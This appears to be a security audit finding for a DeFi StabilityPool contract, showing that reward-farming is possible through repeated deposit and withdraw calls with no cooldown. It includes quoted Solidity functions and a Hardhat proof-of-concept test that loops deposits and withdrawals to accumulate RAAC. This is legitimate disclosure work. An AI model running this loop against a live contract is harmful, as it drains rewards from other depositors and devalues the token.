Summary
The StabilityPool contract allows users to deposit rToken, receive deToken, and earn RAAC rewards. However, users can continuously deposit and withdraw to farm RAAC rewards without restrictions.
Vulnerability Details
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}
User deposits rToken to recieve the equivalent in deToken, using the deposit function which also triggers _mintRAACRewards to mint RAAC for the StabilityPool contract
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
User uses withdraw function to withdraw their deposited rTokens and RAAC rewards, which are calculated by calculateRaacRewards
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
As we can observe in the above code, there is no cooldown period or time restrictions, this will allow users to:
Add this test to StabilityPool.test.js
describe("Infinite rewards", function() {
it("should allow users to claim infinite rewards", async function() {
const initialRAAC = await raacToken.balanceOf(user1.address);
const initialRToken = await rToken.balanceOf(user1.address);
console.log("INITIAL BALANCE")
console.log("rTokens:", initialRToken.toString());
console.log("raacTokens:", initialRAAC.toString());
for (var i = 1; i <=1000; i++) {
await stabilityPool.connect(user1).deposit(ethers.parseEther("1"));
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
}
const finalRAAC = await raacToken.balanceOf(user1.address);
const finalRToken = await rToken.balanceOf(user1.address);
console.log("FINAl BALANCE");
console.log("rTokens:", finalRToken.toString());
console.log("raacTokens:", finalRAAC.toString());
expect(finalRToken).to.equal(initialRToken);
expect(finalRAAC).to.be.gt(initialRAAC);
})
})
Impact
RAAC inflation and token devaluation
Tools Used
Manual review
Recommendations
Consider adding time restriction for RAAC rewards